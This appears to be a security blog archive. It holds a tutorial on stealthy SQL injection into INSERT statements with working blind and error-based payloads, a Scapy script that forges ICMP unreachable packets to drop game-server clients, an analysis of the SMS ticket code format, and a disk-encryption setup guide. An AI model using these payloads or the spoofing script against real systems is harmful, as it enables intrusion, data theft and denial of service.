Pages

Wednesday, 26 October 2011

Exploiting 'INSERT INTO' SQL Injections Ninja Style

In the deep hours of the night you stumble upon a form where you are asked for, among other things, your nickname. You enter a single quote ' as your name and you get an error message saying: "You have an error in your SQL syntax". With high probability the SQL injection is taking place in an INSERT statement. Now, you could simply start sqlmap and let it try to do the dirty work. But there's a disadvantage: An automated tool will probably send some request where the INSERT statement succeeds. This will create strange entries in the database. We must avoid this to remain stealthy.

Let's create a similar situation locally and demonstrate this. Our test code is:

 <?php  
 $con = mysql_connect("localhost", "root", "toor") or die(mysql_error($con));  
 mysql_select_db("testdb", $con) or die(mysql_error($con));  
 $var = $_POST['post'];  
 mysql_query("INSERT INTO data VALUES ('one', '$var')") or die(mysql_error($con));  
 mysql_close($con) or die(mysql_error($con));  
 echo "The values have been added!\n";  
 ?>  

Normally a good programmer will write better code than that, but it's just an example and will suffice to demonstrate the exploit. We run sqlmap against this using the command
./sqlmap.py -u "http://localhost/test.php" --data "post=ValidValue" -v 3
The (partly redacted) output of the command can be seen on pastebin. It found an error-based SQL injection. We will return to this result at the end of the post. For now we will ignore the error-based SQL injection and only notice that unwanted new database entries have been added by using sqlmap:


Avoiding unwanted inserts

We must find a query that is syntactically correct yet contains a semantic error. Moreover the semantic error should only be detectable by executing the query. I immediately thought of scalar subqueries. These are subqueries that must return only a single row, otherwise an error is thrown. As quoted from the MySQL manual:
In its simplest form, a scalar subquery is a subquery that returns a single value. A scalar subquery is a simple operand, and you can use it almost anywhere a single column value or literal is legal, and you can expect it to have those characteristics that all operands have: a data type, a length, an indication that it can be NULL, and so on.
An artificial example is:
SELECT (SELECT name FROM users WHERE email = 'bobby@tables.com')
If the subquery is empty it's converted to the value NULL. Now, if email is a primary key then at most one name will be returned. If email isn't a primary key it depends on the contents of the database. This proves that we must first execute the subquery and only then will we know if it's really a scalar subquery or not! Another variation where the subquery must be scalar is:
SELECT 'Your name is: ' || (SELECT name FROM users WHERE email = 'bobby@tables.com')
Here || stands for the string concatenation. The following query will always return the error "#1242 - Subquery returns more than 1 row" (tested with MySql).
SELECT (SELECT nameIt FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST)
Alright so we have a query that is executed yet returns an error. This prevents the original INSERT INTO command from being executed, yet our own SQL code will be executed. I will now show how to turn this into a usable blind SQL injection. We will create different behavior/results based on a boolean condition. We can follow two strategies to achieve this. The first is to find another semantic error and output a different error based on the boolean condition. The second strategy is to use a timing attack: If the condition is true the query will complete instantly, otherwise it takes a longer time. The timing attack is the easier one to create. Consider the following SQL statement, where we replaced the nameIt column of the previous SQL statement with a more advanced expression:
SELECT (SELECT CASE WHEN <condition> THEN SLEEP(3) ELSE 'anyValue' END FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST)
If <condition> is true the server will sleep for 3 seconds and then throw an error that the subquery returned more than one result. Otherwise, if <condition> is false, it will instantly throw the error. All that is left to do is to measure the time it takes for the server to answer the query so we know whether the condition was true or not. We can use automated tools that perform the timing attack based on this foundation.


Let's return to our example php code. What do we need to set our argument called post to in order to launch the attack? Try figuring it out yourself first. This is something you must learn to do on your own, especially since you are given the source code.

Sending the following will do the trick:
' || (SELECT CASE WHEN <condition> THEN SLEEP(3) ELSE 'anyValue' END FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST) || '
This will expand to:
INSERT INTO data VALUES ('one', '' || (SELECT CASE WHEN <condition> THEN SLEEP(3) ELSE 'anyValue' END FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST) || '')
Which is valid SQL syntax!

Speeding up the attack

This is all good and well, but because it's a time based attack it can take an extremely long time to execute. We focus on the other strategy where we trigger different errors based on the boolean condition. First we need to find another error that we can trigger based on a boolean condition. Sound fairly straightforward, but it turns out generating an error is easy, yet finding errors that are generated whilst executing the query and controllable by a boolean condition can be quite hard. After more than an hour of messing around with some SQL statements and reading the MySQL documentation I finally found something usable! I got the following SQL statement:
SELECT 'canBeAnyValue' REGEXP (SELECT CASE WHEN <condition> THEN '.*' ELSE '*' END)
Here the construct 'value' REGEXP 'regexp' is a boolean condition that is true when value matches the regular expression regexp and is false otherwise. Note that '.*' is a valid regular expression and '*' is not. So when <condition> is true the regular expression will simply be evaluated. When it's false an invalid regular expression is detected and MySql will return the error "#1139 - Got error 'repetition-operator operand invalid' from regexp". Excellent! We can now create a boolean based blind SQL injection where the subquery error is returned if the condition is true, and the regular expression error is returned when the condition is false.

But there's a snag: One must be careful with the REGEXP error. Say you modify the time based SQL attack statement to the following:
SELECT (SELECT CASE WHEN <condition> THEN 'anyValue' REGEXP '*' ELSE 'AnyValue' END FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST)
You reason as follows: If <condition> is false it will return 'thisCanBeAnyValue' twice and then throw an error that the subquery returned more than one result. If <condition> is true it tries to evaluate 'anyValue' REGEXP '*' and throw the regular expression error. But this is not what will happen! With this line you will always end up with the regular expression error. Why? Because MySql knows that 'anyValue' REGEXP '*' is a constant expression and doesn't depend on anything. Therefore it will optimize the query and calculate this value in advance. So even though <condition> is false it still attempts to evaluate the regular expression during the optimization step. This always fails, and hence the regular expression error is always returned. The trick is to put the '*' and '.*' in a separate SELECT CASE WHEN .. END control flow so it won't be optimized.

We conclude our story with the following SQL statement against our example code:
' || (SELECT 'thisCanBeAnyValue' REGEXP (SELECT CASE WHEN <condition> THEN '.*' ELSE '*' END) FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST) || '
When the condition is false the regular expression error will be returned, and when the condition is true the subquery error will be returned. All this happens without the actual INSERT statement being successfully executed even once. Hence the website administrator will notice no weird entries in his database. And last but not least, this attack is faster compared to the earlier time based attack. Beautiful! :D

Even better: Error-based SQL injection

The previous methods were ideas I found myself. However the website is returning an error message, and there is a known error-based SQL injection technique that can return database entries in the error message. This is the type of attack that sqlmap also returned. With an error-based SQL injection we can greatly speed up the attack. The technique is based on the follow query:
SELECT COUNT(*), CONCAT('We can put any scalar subquery here', FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x
When we execute this command I get the message "ERROR 1062 (23000): Duplicate entry 'We can put any scalar subquery here' for key 'group_key'". As you can see the original input string is returned in the error message! In fact we can put any value we want there, including scalar subsqueries. Let's first investigate why this error is returned. In the MySql documentation we first notice: "You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times". RAND() will also be evaluated multiple times in a GROUP BY clause. Each time RAND() is evaluated it will return a new result. Okay, so according to the documentation we're actually not allowed to use the function RAND() like this. Why? Because the function returns a new value each time it's evaluated yet MySql expects a function to always return this same value. This can cause strange error messages like the one we just got.

One possible description of an Advanced Persistant Threat.
... people smarter than me found the "non-blind" error-based attack ...

Nevertheless the error message contains a user controllable string! Meaning we can let it return any database entry we want, which greatly speeds up the attack. But perhaps you're still wondering why this particular query fails. Well, answering that question means knowing exactly how the DBMS executes the query. Investigating this is way out of scope for this post. Just remember that in our query the problem is caused because the RAND() function is internally reevaluated and will return a different value, which is something the DBMS is not expecting.

Let's put this in our example code again. Something like the following will suffice:
' || (SELECT 'temp' FROM (SELECT COUNT(*), CONCAT((subquery returning the value we want to retrieve), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) FromTable) || '
Et voila, we have a very fast SQL injection. Depending on the tables we can access, this example might need to be modified in order to work properly. In particular we can also include one of the previous SQL injections that always generate an error. This way we will be sure data is never inserted. After all, we are relying on undefined behavior which causes the error to show up. Who knows if there exists another DBMS that handles these queries with RAND() in them differently and they don't produce an error.

As a last note, being stealthy is always a relative notion. In some cases SQL errors could be logged and an administrator could be notified when they happen. In such a situation this attack wouldn't be stealthy at all!

Follow me on twitter @vanhoefm


Addendum:
  • For Oracle 8, 9 and 10g databases the function utl_inaddr.get_host_name can be used to launch an error-based SQL injection. For Oracle 11g ctxsys.drithsx.sn and other functions can be used. [Source1] [Source2]

Wednesday, 12 October 2011

Recvfrom Problems & Forging ICMP Unreachable Packets

This post will explain how you can use forged ICMP Destination Unreachable packets to attack a vulnerable application. The goal is to attack a server and disconnect an arbitrary connected client. I will begin by explaining a bug I encountered while working on a program. This bug was an indicator that the application was vulnerable to the attack I'm about to describe. So just to be clear, at the end of this post we will attack the application I'll describe in the beginning of this post. Hence it's worth reading the first part of this blog post ;)

The Bug: Recvfrom Problems

I was reverse engineering a server application and adding a feature that allows you to ban IP's and subnets on an application level. This was accomplished by injecting a custom build DLL and detouring the recvfrom function (the application in question only uses UDP and is for Windows). Basically whenever the server called recvfrom it got redirected to my own function called dt_recvfrom. In the beginning dt_rcvfrom looked like this (the code is explained in words below the code fragment):

 int WINAPI dt_recvfrom(SOCKET s, char *buff, int len, int flags,  
    sockaddr *from, int *fromlen)  
 {  
    int rval;  
      
    // Always save the source IP and port of the packet  
    sockaddr_storage localFrom;  
    int localFromlen = sizeof(localFrom);  
    memset(&localFrom, 0, sizeof(localFrom));  
   
    // Call the true recvfrom function and exit if there was an error  
    rval = truerecvfrom(s, buff, len, flags, (sockaddr*)&localFrom, &localFromlen);  
    if(rval == SOCKET_ERROR)  
       return SOCKET_ERROR;  
      
    // Correctly set from and fromlen argument if not NULL  
    if(from != NULL && fromlen != NULL)  
    {  
       if(*fromlen < localFromlen)  
       {  
          // The fromlen parameter is too small to accommodate  
          // the source address of the peer address  
          WSASetLastError(WSAEFAULT);  
          return SOCKET_ERROR;  
       }  
   
       // Save the values  
       memcpy(from, &localFrom, localFromlen);  
       *fromlen = localFromlen;  
    }  
      
    // If banned, ignore packet  
    if(IsBanned((sockaddr*)&localFrom))  
    {  
       // MSDN: "If the connection has been gracefully closed,  
       // the return value is zero"  
       return 0;  
    }  
      
    return rval;  
 }  

The function first declares its own from and fromlen variables. It has to do this because recvfrom is allowed to called with NULL values for both these parameters. And in our example we must always save the source address because we want to ban certain IP's or subnets. We then call the true recvfrom function using the appropriate arguments. When an error occurs we simply pass it along to the caller. Otherwise we copy the from and fromlen values to the actual arguments if needed. Finally we check if the source address has been banned. If so we return the value zero which signifies that the connection has been gracefully closed, which seems to be a decent option to let the program know it should no longer expect data from that source address.

My question for you is: Can you spot the mistake in this code? Yes, the code above contains an error.

A hint is that the code incorrectly handles a specific error returned by the true recvfrom function.

Another hint is that in my case this caused the following bug: At random times an arbitrary client would receive a message telling that his connection had been closed down. This client was removed because the server deemed it as disconnected.

What goes wrong is that the recvfrom function can return the error code WSAECONNRESET. That's right, when you're trying to receive UDP packets you can actually get a connection reset error. Reading the documentation we get the following: "WSAECONNRESET: The virtual circuit was reset by the remote side executing a hard or abortive close. The application should close the socket; it is no longer usable. On a UDP-datagram socket this error indicates a previous send operation resulted in an ICMP Port Unreachable message". So when a host receives an ICMP Destination Unreachable packet and its data field contains an IP and UDP header, the host will attempt to forward this error to the socket that previously attempted to send that data. The problem with our code is that if an WSAECONNRESET is returned we do not copy the local from and fromlen variables to the arguments of the caller! They are only copied when no error is returned!

So what happened in my case is that recvfrom would return WSAECONNRESET, but because the from and fromlen arguments weren't updated, those argument still contained old values. At times those old values contained the addresses of connected clients. These connected clients were then deemed as disconnected and removed from the server. This is illustrated by the following code that the application probably uses:

 rval = recvfrom(s, buff, len, fromAddress, fromlen);  
 if(rval == SOCKET_ERROR)  
 {  
    if(WSAGetLastError() == WSAECONNRESET)  
       removeClient(fromAddress);  
 }  

So whenever the server receives an ICMP Destination Unreachable it will remove the client. Thus the correct code for our dt_recvfrom function is (only the relevant part is shown):

 rval = truerecvfrom(s, buff, len, flags, (sockaddr*)&localFrom, &localFromlen);  
 // Correctly set from argument if not NULL  
 if(from != NULL && fromlen != NULL)  
 {  
    if(*fromlen < localFromlen)  
    {  
       // The fromlen parameter is too small to accommodate
       // the source address of the peer address  
       WSASetLastError(WSAEFAULT);  
       return SOCKET_ERROR;  
    }  
    // Save the values  
    memcpy(from, &localFrom, localFromlen);  
    *fromlen = localFromlen;  
 }  
 if(rval == SOCKET_ERROR)  
    return SOCKET_ERROR;  

Even the correctness of this code can be discussed. After all, is it a good idea to potentially return the error code WSAEFAULT while true recvfrom returned a different error code? We will not divulge in this discussion and simply assume this code will do.

Forging ICMP Destination Unreachable Packets

Since you've read the title of this post you might already have an idea how we can launch an attack in this situation. If we know the IP and port of a client connected to the server, we can forge an ICMP Destination Unreachable packet that looks as if it came from the connected client. The server will then remove the client and close the (logical) connection. Sending fake packets is easy using Scapy (a Python library). The following python code will send a fake ICMP Destination Unreachable packet with a source address of 192.168.234.1 to 192.168.234.131 telling the host that the UDP packet send from 192.168.234.131:2302 failed to reach the host 192.168.234.1:2305. Read that last line again. And once more to properly understand what's going on. Good.

 from scapy.all import *  
   
 client = "192.168.234.1"  
 clientPort = 2305  
 server = "192.168.234.131"  
 serverPort = 2302  
   
 ip = IP()  
 icmp = ICMP()  
   
 ip.dst = server  
 ip.src = client  
   
 icmp.type = 3 # Destination Unreachable  
 icmp.code = 3 # Port unreachable  
   
 ipfail = IP()  
 udpfail = UDP()  
   
 ipfail.dst = client  
 ipfail.src = server  
   
 udpfail.dport = clientPort  
 udpfail.sport = serverPort  
   
 send(ip/icmp/ipfail/udpfail)  

Let's test this attack against the program I was working on: the Halo server. A virtual machine running Windows Server 2003 is running a halo server on 192.168.234.131:2302. The host of the virtual machine will act as a client and connect to the server using its IP 192.168.234.1:2305. This is shown in the image below:


In a second virtual machine I'm running Backtrack 5 R1. The IP of this machine is 192.168.234.130 but this will be irrelevant for us. Using Backtrack I will execute the python code shown above (of course I already included the correct IP addresses in that code ;) to forge an ICMP Destination Unreachable packet. Lo and behold, the client gets a game closed down message!



This happens because the server removed the client from its player list and is no longer sending data to the client. The client will then think the server closed down.

Conclusion

Forging ICMP messages is a known attack. I have also contacted Microsoft about the bug in Halo and they replied that this is a common attack scenario. They also said that this is one of the reasons Windows allows ICMP firewalling. Hence people can simply block these packets.

When designing an application it's not necessarily wrong to trust the WSAECONNRESET error message. In some cases this behavior could be useful (e.g., in a trusted networked). Of course it's still best to avoid it using it!

Monday, 3 October 2011

Update on SMS tickets of "De Lijn"

At our university we are forced to use PingPing to pay for our lunch. Only by paying using this system will we get a student discount. Whether this is a good system or not is if no relevance here and might be a good topic for another post.

Anyway you have to register an account at pingping.be. What's very interesting is that once you logged in you can also see when you purchased an SMS ticket! This confirms that every sold SMS ticket is stored in a database and they only need your phone number to confirm if a person has actually bought a ticket.

This also strengthens the argument that the codes used in the SMS are mainly a method so the bus driver can manually verify parts of the code. Of course that's an insecure method but increases the usability. If you know how the codes are constructed you can potentially fool a bus driver, but the actual inspectors will be able to tell it's a fake code.

Sunday, 21 August 2011

Brief look at SMS tickets of "De Lijn"

De Lijn, a public transportation company in Belgium, allows you to pay for your journey with a mobile phone. This is done by sending a SMS containing the letters “DL” to the number 4884. You then receive a conformation SMS that is similar to the following: “10* Valid on all vehicles of De Lijn on 18/08/2011 until 08h58. Price: 1,30 EUR 0758T18bk311Z4u429918”.

The readable date, hour and price are clearly to inform the user about the ticket he/she purchased. The code at the end seems to be an authentication code that might be used to check if your ticket is legitimate and not a counterfeit. The first number/symbol in the SMS also appears to have a special purpose as it’s not immediately clear for what it stands. The question is now how secure this system is.

According to the information page knowing your mobile phone number is enough to verify if you actually bought a ticket. This is again confirmed in the FAQ section in the answer to “What if my mobile phone’s battery is flat”. Here they state that in such an event you must give your phone number. They also say that a forwarded SMS ticket can be recognized as invalid, which is reasonable considering the ticket is registered to the phone number that paid for the ticket. From this it’s clear that you cannot cheat the system by trying to construct a fake SMS ticket, they don’t even need to see the code in the SMS to verify you bought the ticket! It means they store every SMS ticket sold combined with the phone number of the customer.

Nevertheless, the codes and numbers contained in the SMS ticket are still interesting. Let’s first collect a list of valid tickets by using the system and write down the information in an organized list:

Sender            Nr    Date        Hour  Code

+32476136809      09*   19/08/2011  17:41 1641t19bk527Q6a444464
+32476136808      08-   19/08/2011  08:50 0750s19rm527Q6f438993
+32476136804      04+   18/08/2011  18:42 1742S18zk527Z4c436361
+32476136810      10*   18/08/2011  08:58 0758T18bk527Z4u429918
+32476136803      03*   18/08/2011  08:51 0751G18uz527Z4g429841
+32476136803      03+   18/08/2011  08:51 0751G18vz527Z4k429838
+32476136815      15*   28/07/2011  20:26 1926L28tw527J1a265124
+32476136813      13/   28/07/2011  13:44 1244I28us527J1n260332
+32476136816      16/   06/05/2011  19:39 1839E06em527S4g349355
+32476136805      05/   05/02/2011  16:44 1544f05vi527Z4m707955

From this we can derive several things. The first code 1641t19bk527Q6a444464 will be used to illustrate these observations:
  • Multiple phone numbers are used to send the ticket. The first two digits of the SMS ticket (see the column named "Nr") correspond to the last two digits of the phone number that send the ticket to the customer. For the first ticket in the list the first two digits are 09* and the sender was +32476136809.
  • The first four digits of the ticket code denote the time of when the SMS ticket was created/purchased. In the example code that time is 16:41.
  • The sixth and seventh digit stand for the day of the month the ticket was requested. In the example this is the 19th of the month.
  • The three digits in the middle of the code are the last three digits of the phone number that requested the SMS ticket. In the example the phone number of the customer is of the form 04xx/xxx527.
  • Although the meaning is still unknown, the following letter and number (in the example Q6) are correlated with the date the ticket was bought on. Notice that for tickets that are bought on the same day the number is always the same for every ticket.
  • The laster number is a counter that increases for every ticket created. In the example this number is 444464. This can be clearly seen from the two tickets bought on 18/08/2011 at 08:51. The first one has a number of 429838 and the second 429841. When this counter reaches 999999 it appears to be simply reset to zero.
  • It's unknown what the other letters/digits are for.
The reason some of this info is easy to reverse engineer is probably so the bus driver can do a basic check of the code himself. Using the first two digits he can check if the ticket has been received from the correct phone number and with the first four digits of the ticket code he can confirm how long the ticket is valid. Even though such checks don't guarantee security, it does increases the practical usability of the ticket code. But as already mentioned, you cannot cheat the system. Since they record every ticket sold an inspector will notice the counterfeit ticket is not in this list, and thus know you haven't paid anything.

Sunday, 7 August 2011

Backtrack 5 and Windows Dual Boot with Full Disk Encryption

This post will explain how to setup your computer in order to dual boot Backtrack 5 and Windows. The difficulty is to have both operating systems fully encrypted. This guide will be focused on Backtrack 5 (Gnome desktop) and Windows 7. It should be straightforward to follow this guide using a different version of Windows. If you want to install a different Linux distribution the instructions can differ significantly.

Truecrypt will be used to encrypt the Windows installation and dm-crypt using LUKS to encrypt Backtrack. The requirements to follow this guide are having the Windows and Backtrack installation CD ready to use.

To clarify an important point: I use full disk encryption to protect my data in the event my laptop may be lost or stolen. It will not protect you in case an adversary forces you to reveal your password. For such situtions you can use deniable encryption which is also provided by truecrypt.

Preparation

Format

Before we begin the installation we will perform an anti-forensic format of the complete hard drive. This is a fancy way of saying that we will use a tool to overwrite the complete hard disk with random data. It's needed because simply deleting all your files won't actually delete them. Instead they will be simply marked as deleted and may be overwritten with new data in the future. So an attacker might still be able to retrieve your supposedly deleted files.

Another problem is that it might be possible to retrieve your old data even if it has been overwritten with new data. This can for example be done with a technique such as magnetic force microscopy. To defend against these kinds of attacks we will overwrite the complete hard drive data several times with random data.

Because securely formatting the hard drive was not my main goal I personally used the tool shred. It's available in the backtrack live CD and can be started with "shred /dev/sda". Another tool you can use is DBAN, which is a live CD allowing you to securely wipe an entire hard disk.

Partitioning

Because the partition manager that is available during the installation of Backtrack is limited in functionality we will use gparted to partition the hard disk. So start the Backtrack live CD, open a terminal and type "apt-get install gparted" to install it. Then start it be executing "gparted".

Click on Device -> Create Partition Table. The default is to create an MS DOS partition and this is what we need, so click on Apply. Now we can create the partitions. At minimum you will need the following partitions:
  • One partition that will contain Windows. During the installation we will first use this space to install an unencrypted Backtrack system. Afterwards we will install Windows on it. Hence this partition must first be formatted as an ext4 partition and in the future we will format it to NTFS for windows.
  • One ext4 partition that will contain the (unencrypted) files necessary to boot the encrypted backtrack installation. Hence a 370 MB ext4 partition will suffice.
  • Preferably, but not strictly necessary, one Linux swap partition. The ideal size depends on how much RAM you have. Since I have 4 GB ram around 800 MB swap space should suffice.
  • One ext4 partition that will contain the encrypted Backtrack installation. For this I have chosen for a 20 GB ext4 partition.
As mentioned we will first install Backtrack on the partition that will eventually contain Windows. This is done because we can't directly install Backtrack on an encrypted partition. Therefore we will first install it to an unencrypted partition and then copy all the files to the encrypted partition. Once that is done we will format the Windows partition to NTFS and install Windows on it.

Depending on the size of your hard disk and preferences you can customize the number and sizes of the partitions. Anyway, I will now detail how to create these basics partitions. First select the unallocated space and click on Partition -> New. Fill in the options as shown below (the partitions sizes may differ for you).


Create an extended partition for the remaining unallocated space. Now continue by creating the other partitions to your liking. I ended up with the following table which you can also use if you want (again, sizes may differ).


Click on Edit -> Apply All Operations to write the changes to disk. Close gparted. In the remaining of this guide I will use the device names as shown in the previous image. That is, the device names correspond to the partitions as follows:
  • /dev/sda1: Windows partition (temporarily used to first install Backtrack)
  • /dev/sda5: Unencrypted boot partition
  • /dev/sda6: Swap partition for Backtrack
  • /dev/sda7: Encrypted Backtrack partition
If you use a different partition scheme be sure the use the correct device names in the commands listed throughout this guide.

Installing Backtrack 5

Start the graphical installer of Backtrack 5 and fill in the correct information until you get to "Prepare disk space" where you must select "Specify partitions manually (advanced)".


In the next step click on /dev/sda1 and then on "Change" and select it to be an ext4 partition that mounts to /. Do not change the partition size!


Now do the same for /dev/sda5, so set it to ext4 but this time mount /boot. I have ended up with the following configuration:


When clicking on "Forward" it might tell you that some file systems are not marked for formatting but the files on it will nevertheless be deleted. Simply click on continue and proceed with the installation.

Once the installation has finished you can restart your computer to ensure everything is properly installed.

Downgrading to GRUB

At the time of writing this guide GRUB 2 is unable to chainload the truecrypt bootloader (at least to my knowledge and without annoying workarounds). For this reason we will downgrade to GRUB (grub legacy) which will be able to handle everything perfectly and offers the same functionality.

Start the Backtrack system you have just installed and open a terminal. To remove GRUB 2 execute "apt-get purge grub-pc". If it asks to remove all GRUB 2 files from /boot/grub select yes. Then execute "rm /boot/grub/core.img" to get rid of the remaining GRUB 2 files. Your computer won't be bootable until we install the old version of grub.

Install grub by executing "apt-get install grub". Configure grub to load during boot by executing "grub-install /dev/sda". Finally configure the grub boot menu by executing "update-grub". It should say "could not find /boot/grub/menu.lst ...". Enter yes to create the menu. Reboot the system to verify it boots properly.

Note: The grub menu will now display "Ubuntu 10.04.2 LTS" instead of Backtrack 5. At the end of this guide we will clean up this menu entry.

Encrypting Backtrack

Encrypted Partition

From your backtrack installation open a terminal. To be sure we have all the packages we need execute the command "apt-get install cryptsetup hashalot initramfs-tools". For Backtrack 5 only hashalot will be installed, as cryptsetup and initramfs-tools are already included in the default installation.

We have to create an initial ramdisk (initrd/initram) that contains all the necessary tools to boot a basic linux environment that will ask for your password and is able to decrypt the encrypted Backtrack partition during boot. An initial RAM disk is an initial root file system that is mounted prior to when the real root file system is available (which is in our case encrypted). We will create it using initramfs-tools.

To specify that the partition needs to be decrypted during boot execute the following single command:
echo "CRYPTOPTS=target=cryptroot,source=/dev/sda7" > /etc/initramfs-tools/conf.d/cryptroot
This will create the file /etc/initramfs-tools/conf.d/cryptroot with the given line as its content. Execute "update-initramfs -u" to apply these changes. Now run the following commands to create an encrypted partition:
  • modprobe dm_crypt
  • modprobe sha256_generic
  • luksformat -t etx4 /dev/sda7
For the last command be sure to type an uppercase YES. Otherwise it will give the cryptic error message "Cloud not create LUKS device /dev/sda7 at /usr/sbin/luksformat line 63, <MOUNTS> line 15". If you get the error message "Device luksformat1 is busy" after the format has completed, execute "cryptsetup luksClose /dev/mapper/luksformat1". We now mount the newly created encrypted partition and copy our Backtrack installation to to. For this execute the following commands:
  • cryptsetup luksOpen /dev/sda7 cryptoroot
  • mkdir /mnt/target
  • mount /dev/mapper/cryptoroot /mnt/target
  • cp -avx / /mnt/target
Copying can take a while. Once completed open /mnt/target/etc/fstab and find the section that refers to the partition where the unencrypted Backtrack system was installed. It can be recognized by the line above it which contains "# / was on /dev/sdaX during installation". The line under it will look something like this:
UUID=00adfd86-26d7-445c-8d4a-e72b16400423 / ext3 errors=remount-ro 0 1
We need to change the UUID of it to the UUID of the encrypted partition. To get the UUID execute "blkid | grep /dev/mapper/cryptoroot". Once you know the UUID update the line with the new UUID.

Testing with GRUB

Before we continue we will add a temporarily entry to GRUB to verify we can boot the encrypted Backtrack system. To do this edit /boot/grub/menu.lst and under the line "### END DEBIAN AUTOMAGIC KERNELS LIST" add the following lines:
title Cryptotest
root (hd0,4)
kernel /vmlinuz-2.6.38 root=UUID=<uuid> ro
initrd /initrd.img-2.6.38
boot
Here (hd0,4) stands for the boot partition. You can get the correct kernel version by looking at the lines between the DEBIAN AUTOMAGIC KERNELS entries. Replace <uuid> with the UUID of the encrypted partitions, which can be found by executing "blkid | grep /dev/mapper/cryptoroot".

Reboot the system and press ESC to enter the GRUB menu during boot. Select cryptotest from the menu. If something goes wrong restart and choose Ubuntu in the grub menu and try to figure out what when wrong. If you followed this guide everything should work.

Encrypted Swap

This step is best performed from the Cryptotest environment we just added to the grub boot menu. You can also perform it from the unencrypted Backtrack installation but then you must be sure to mount the encrypted partition and modify the correct files. This guide will assume you are running the Cryptotest option (i.e., the encrypted Backtrack system). The following procedure will make sure that the swap will also be encrypted. This is important because sensitive data can be written to the swap when using your computer.

We will first disable swap and destroy the filesystem on the swap partition. For this execute the following two commands:
  • swapoff -v /dev/sda6
  • dd if=/dev/urandom of=/dev/sda6 count=100
Open /etc/crypttab and append the following line to the file:
cryptoswap /dev/sda6 /dev/urandom swap
Now open /etc/fstab and replace the line under "swap was on /dev/sda6 during installation" with:
/dev/mapper/cryptoswap none swap sw 0 0
To test if everything is set up properly execute the following commands:
  • invoke-rc.d cryptdisks restart
  • swapon /dev/mapper/cryptoswap
Now the command "swapon -s" will show you the loaded swap partitions. It should contain the cryptoswap entry if everything is configured properly.

Final GRUB Config

Time to configure a proper GRUB menu. Open /boot/grub/menu.lst and remove the "Cryptotest" lines that you added earlier. Search for the line containing "# kopt=root=UUID=<uuid> ro" and replace the UUID with the UUID of /dev/mapper/cryptoroot. Remember that you can get this UUID by executing "blkid | grep /dev/mapper/cryptoroot". Once this is done execute the command "update-grub".

In my case the default splash screen prevented you from correctly entering the password during boot. For this reason we will remove the splash screen during boot. Open /boot/grub/menu.lst and remove the "quiet splash" from the first line in the entry for "Ubuntu 10.04 LTS, kernel 2.6.38". If you want to you can change the title to display Backtrack 5 instead of Ubuntu. As suggested by a commenter, you must also to change "defoptions=quiet splash" to "defoptions=". This will make sure running update-grub will not readd the "quiet splash" argument in the future. Optionally, if you want the grub boot menu to be displayed by default during boot, you can comment out "hiddenmenu" by changing it to "# hiddenmenu".

Note: To finish the complete setup of Backtrack execute "apt-get update" and "apt-get upgrade" in order to update all the packages.

Installing Windows

Before we can install Windows we must create a NTFS partition where it can be installed. To do this boot your Backtrack installation (or do this from a live CD) and install gparted by exeucting "apt-get install gparted" and run it by executing "gparated".

Right click on /dev/sda1 which was the partition where you installed the unencrypted Backtrack installation. Select Format to -> NTFS. Then go to Edit -> Apply All operations to save changes to disk. If for some reason these steps didn't work for the first time and /dev/sda1 still showed up with a file system other than NTFS, simply format /dev/sda1 a second time and it should work.

You can now enter the Windows installation CD and reboot. Continue the windows installer as normal until you get to "Which type of installation do you want?". Here select "Custom (advanced)". In the next screen select "Disk 0 Partition 1 and click" on next.


Once Windows has been installed download and install Truecrypt.

Start Truecrypt, click on System ->Encrypt System Partition/Drive. Choose normal, Encrypt the Windows system partition, Single boot, select your preferred encryption options (the defaults should be good), and continue with the installer while providing the information it needs. Be sure to create the rescue CD as this is very important in case the truecrypt bootloader gets damaged. If it asks you to restart the system do so. During boot you should see the Truecrypt boot loader (we will soon restore the GRUB boot loader). It will ask you for the password, enter it and continue booting.

When Windows is started it should ask to encrypt the Windows partition. Click on Encrypt. This can take a while depending on the size and speed of your hard disk. Go get a beer, watch a movie, and take a break.

Once it's done you can verify everything still works by rebooting Windows.

Restoring GRUB

Boot from the Backtrack live CD. We will first copy the truecrypt bootloader as a file to the linux boot partition. To do this open a terminal and do:

  • Mount the boot partition be executing "mount /dev/sda5 /mnt"
  • Copy the truecrypt boot loader by executing the following two command
    • dd if=/dev/sda of=/mnt/truecrypt.mbr count=1 bs=512
    • dd if=/dev/sda of=/mnt/truecrypt.backup count=8 bs=32256
We will now restore the grub boot menu by executing the commands:
  • apt-get install grub
  • grub
  • Execute "find /grub/stage1". This should output the line "(hdX,Y)" where X and Y are numbers depending on how you set up your partitions. These numbers will be used in the next commands. In my case the output is "(hd0,4)".
  • root (hdX,Y)
  • setup (hdX)
  • quit
Now let's add the truecrypt boot loader as an option to the grub loader. Open /mnt/grub/menu.lst in your favourite editor. Under the line "### END DEBIAN AUTOMAGIC KERNELS LIST" add the following lines:
title Windows 7
rootnoverify (hd0,0)
makeactive
chainloader (hd0,4)/truecrypt.mbr
boot
And there you go. You have a fully encrypted Windows partition with a dual boot between a fully encrypted Backtrack 5 installation.

Sources

Inspiration was taken from the following sources, a few man pages, and relied on some creativity to solve problems along the way.

Encrypted Ubuntu Partition
Reverting to GRUB Legacy
Restoring GRUB
Bug: Unable to enter password
Chainloading Truecrypt